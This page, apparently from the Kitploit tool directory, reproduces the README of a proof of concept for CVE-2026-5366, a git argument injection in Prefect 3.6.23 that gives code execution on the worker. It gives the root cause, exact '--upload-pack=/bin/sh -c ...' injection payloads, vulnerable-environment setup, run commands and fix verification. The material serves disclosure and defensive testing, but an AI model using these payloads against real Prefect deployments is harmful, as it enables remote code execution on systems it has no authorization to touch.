Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
prefect-cve-2026-5366 — PoC for CVE-2026-5366: git argument injection in Prefect's GitRepository leading to RCE on the worker. | Kitploit
Tools/GitHubGitHub/renat0z3r0/prefect-cve-2026-5366
Vulnerability AnalysisCode AnalysisExploitationPenetration TestingSupply Chain SecurityLearning & Education
GitHubrenat0z3r0/prefect-cve-2026-5366

prefect-cve-2026-5366

PoC for CVE-2026-5366: git argument injection in Prefect's GitRepository leading to RCE on the worker.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PoC: CVE-2026-5366 - Git Argument Injection in Prefect (GitRepository)

  • Vulnerability: git argument injection leading to RCE via commit_sha (plus argument injection via directories)
  • Version: vulnerable in 3.6.23, fixed in 3.6.25+
  • File: src/prefect/runner/storage.py
  • Huntr: https://huntr.com/bounties/e2e88a0f-a8f6-49c9-94c5-e98dc385f07a
  • CVE: CVE-2026-5366

Disclaimer

This is a proof of concept for an already-disclosed and patched vulnerability (fixed in Prefect 3.6.25), published for education and defensive validation. Run it only against software and systems you own or are authorized to test. If you run Prefect, upgrade to 3.6.25 or later.

Repository layout

FilePurpose
poc.pyRuns both injection vectors against a vulnerable install and reports which one yields code execution
run_offline.shNetwork-free runner: builds a local file:// repo and drives poc.py against it (the reliable way to see the RCE fire)

Root cause (3.6.23, exact lines)

In src/prefect/runner/storage.py:

root@kitploit:~
# Line 174
if branch and commit_sha:
    raise ValueError(...)

# Line 181
self._commit_sha = commit_sha          # no validation whatsoever
...
self._directories = directories

Injection points (3.6.23 line numbers):

  • commit_sha:

    • pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]
    • pull_code() ~391: ["git", "checkout", self._commit_sha]
    • _clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]
    • _clone_repo() ~480: ["git", "checkout", self._commit_sha]
  • directories:

    • pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]
    • _clone_repo() ~489: (no separator)

On the commit_sha path, --upload-pack=<program> is interpreted by git fetch/git checkout as the pack program to run for the connection, so the program is executed locally on the worker machine. This is verified end-to-end (see "Verified results" below).

The directories path is genuine argument injection but is not an RCE vector via --upload-pack: git sparse-checkout set is a local command with no --upload-pack option, so the payload is rejected as an unknown flag. This asymmetry is mirrored by the upstream fix: commit_sha is rejected hard, while a ---leading directories entry only triggers a warning.

How the exploit works

The core is a git argument-injection trick on the commit_sha vector.

  1. No validation. In 3.6.23 the commit_sha value is stored verbatim (storage.py:181), with no checks beyond the branch/commit_sha mutual exclusion. Any string is accepted.

  2. It lands in a git argument position. When Prefect pulls code (pull_code() then _clone_repo()), the value is placed in a git argument list:

root@kitploit:~
["git", "fetch", "origin", self._commit_sha]   # storage.py:475
["git", "checkout", self._commit_sha]          # storage.py:480

This is an argument list (no shell), so there is no shell injection. The flaw is that there is no -- separator before the attacker-controlled value.

  1. --upload-pack is parsed as an option, not an argument. git treats anything starting with - as an option unless a -- separator precedes it. The payload:
root@kitploit:~
--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'

turns the command into:

root@kitploit:~
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'

--upload-pack=<program> is a legitimate option of git fetch/clone/ ls-remote: it names the program git runs to serve packs. When the remote is local (file://) or reached over SSH/local transport, git executes that program on the local machine.

  1. Result: RCE. git launches /bin/sh -c '...' in place of the real git-upload-pack helper, so the attacker's command runs on the Prefect worker. git then fails (sh doesn't speak the git protocol), but the side effect (code execution) has already happened, which is why the PoC ignores the resulting exception and only checks for the marker file.

Why the pre-test cleanup matters. If the destination already has a .git, Prefect takes the "update existing repo" path. Deleting it forces the full _clone_repo() path, which has the most direct fetch origin <value> + checkout <value> calls, the best injection sites.

Why directories does not give RCE. That value lands in git sparse-checkout set <value>, a local command with no --upload-pack option, so git rejects the payload as an unknown flag. It is still genuine argument injection, but not an RCE vector with this payload.

The fix (3.6.25). commit_sha must match ^[0-9a-fA-F]{4,64}$, so a --upload-pack=... payload is rejected with ValueError: Invalid commit SHA at construction time. For directories, the fix adds the -- separator in the git command (values can no longer be read as options) plus a warning.

Recommended PoC strategy

  1. Install exactly prefect==3.6.23
  2. Force cleanup of the destination directory before every test (this is the most important part)
  3. Trigger via direct GitRepository(..., commit_sha=..., directories=...).pull_code()
  4. Use timestamped markers so you can see which vector worked
  5. On a patched build (>= 3.6.25), confirm the malicious commit_sha is rejected at GitRepository(...) construction

Setup (vulnerable environment)

root@kitploit:~
python -m venv .venv-vuln
source .venv-vuln/bin/activate

pip install "prefect==3.6.23"

Or from source at the exact vulnerable tag:

root@kitploit:~
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .

Run the PoC

The reliable, self-contained way (builds a local file:// repo and runs both vectors):

root@kitploit:~
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh

You can also drive poc.py directly:

root@kitploit:~
python poc.py                                              # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py  # local repo

Important: git only honors --upload-pack on local and ssh transports. Against the default https remote the payload is inert, so python poc.py reports no marker even on vulnerable 3.6.23. Use run_offline.sh (or a file:// / ssh POC_TARGET_REPO) to see the RCE actually fire.

The script does aggressive cleanup (force_clean_destination) before each vector so it reliably hits the clone path (_clone_repo), which performs:

root@kitploit:~
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>

Precise payloads used in this PoC (3.6.23)

commit_sha:

root@kitploit:~
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"

directories:

root@kitploit:~
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]

These hit the raw argument positions in fetch / checkout and sparse-checkout set.

Verified results

Reproduced end-to-end, fully offline (local file:// bare repo via run_offline.sh), on Python 3.12:

Observed vulnerable-run marker content:

root@kitploit:~
EXPLOITED via commit_sha <date>

Clean up

root@kitploit:~
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*

Verify the fix (on >= 3.6.25)

On a patched install the malicious object fails to construct, before any git runs:

root@kitploit:~
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
              commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...

A ---leading directories entry only emits a warning (the real protection is the -- separator added to the git command).

References

  • Vulnerable tag: 3.6.23
  • Patch commit: 6a9d9918716ce4ee0297b69f3046f7067ef1faae
  • Pre-fix parent: 21b2838054c7231cee8cbe196fdadc67ee6c1c6d

Use responsibly (sure !!! :PpPPpp) and only on systems you control :-)

Download Tool
["git", "sparse-checkout", "set", *self._directories]
--
Versioncommit_shadirectories
3.6.23 (vulnerable)RCE achieved: marker file written during git fetch origin <payload>no marker: sparse-checkout set rejects the --upload-pack flag
3.6.25 (patched)neutralized: ValueError: Invalid commit SHA ... at GitRepository(...) constructionno marker: -- separator + warning